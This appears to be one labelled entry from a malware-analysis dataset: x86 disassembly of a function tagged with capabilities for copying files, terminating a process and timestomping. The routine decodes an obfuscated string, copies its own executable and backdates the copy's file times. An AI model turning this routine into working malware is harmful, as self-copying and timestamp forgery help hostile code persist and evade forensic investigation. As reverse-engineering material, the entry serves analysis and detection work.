Function at 0x402e80
Capabilities:
Copy file
Terminate process
Timestomp file

Disassembly:
sub esp, 0x47c
mov ecx, 5
xor eax, eax
xor edx, edx
push esi
push edi
mov esi, str.T9_QDBXBKDQ_Cbekx_dwd
lea edi, [esp + 0x18]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x402ec9
mov al, byte [esp + edx + 0x18]
lea edi, [esp + 0x18]
inc al
or ecx, 0xffffffff
mov byte [esp + edx + 0x18], al
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x402eac
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x74]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xb
mov esi, 0x40b53c
lea edi, [esp + 0x48]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x48]
xor edi, edi
push ecx
call fcn.00403cc3
add esp, 4
test eax, eax
jbe 0x402f2d
lea esi, [esp + 0x48]
inc word [esi]
lea edx, [esp + 0x48]
push edx
inc edi
add esi, 2
call fcn.00403cc3
add esp, 4
cmp edi, eax
jb 0x402f15
lea eax, [esp + 0x48]
push ebp
lea ecx, [esp + 0x280]
push eax
push ecx
call fcn.00403aba
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x185]
mov byte [esp + 0x184], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
xor edx, edx
mov dword [esp + 0x26], eax
mov dword [esp + 0x16], edx
mov dword [esp + 0x2a], eax
mov dword [esp + 0x1a], edx
mov dword [esp + 0x2e], eax
mov dword [esp + 0x1e], edx
mov word [esp + 0x32], ax
mov al, byte [esp + 0x494]
mov word [esp + 0x22], dx
mov word [esp + 0x24], dx
movsx cx, al
lea edx, [esp + 0x80]
mov word [esp + 0x14], 0
push edx
mov byte [esp + 0x84], al
mov word [esp + 0x28c], cx
call fcn.00401220
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
test eax, eax
mov ebp, 0x1bc
je 0x40309b
push 0
push 0
push 3
push 0
push 1
lea eax, [esp + 0x8c]
push 0x80000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x40309b
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x44]
push ecx
lea eax, [esp + 0x38]
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea ecx, [esp + 0xc]
lea edx, [esp + 0x34]
push ecx
push edx
call esi
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x3c]
push eax
push ecx
call esi
cmp word [esp + 0x18], 0x14
jne 0x40309b
cmp word [esp + 0x1a], bp
jne 0x40309b
cmp word [esp + 0x28], 0xd
jne 0x40309b
cmp word [esp + 0x2a], bp
jne 0x40309b
mov eax, dword [esp + 0xc]
and eax, 0xffff
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
mov eax, dword [esp + 0xe]
and eax, 0xffff
lea eax, [eax + edx*4]
mov edx, dword [esp + 0x12]
and edx, 0xffff
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea eax, [edx + ecx*4]
mov ecx, dword [0x40b5aa]
cmp eax, ecx
jbe 0x40309b
push 0
lea ecx, [esp + 0x284]
push 0
push ecx
call fcn.004017a0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [esp + 0x17c]
push 0x103
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x78]
push 0
lea ecx, [esp + 0x180]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [0x40b5aa]
mov eax, 0xd1b71759
mul ecx
shr edx, 0xd
mov word [esp + 0x1c], dx
mov word [esp + 0xc], dx
mov eax, ecx
xor edx, edx
mov esi, 0x2710
mov word [esp + 0x18], 0x14
div esi
mov eax, 0x51eb851f
mov esi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov word [esp + 0x1a], bp
mov word [esp + 0x28], 0xd
mov word [esp + 0x2a], bp
mul edx
shr edx, 5
mov word [esp + 0x1e], dx
mov word [esp + 0xe], dx
mov eax, ecx
xor edx, edx
mov ecx, 0x64
div ecx
lea eax, [esp + 0xc]
mov word [esp + 0x22], dx
mov word [esp + 0x12], dx
lea edx, [esp + 0x34]
push edx
push eax
call esi
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x1c]
push ecx
push edx
call esi
push 0
push 0
push 3
push 0
push 1
lea eax, [esp + 0x8c]
push 0xc0000000
push eax
call edi
mov esi, eax
pop ebp
cmp esi, 0xffffffff
je 0x40318f
lea ecx, [esp + 0x38]
lea edx, [esp + 0x30]
push ecx
push 0
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, 1
pop esi
add esp, 0x47c
ret
pop edi
xor al, al
pop esi
add esp, 0x47c
ret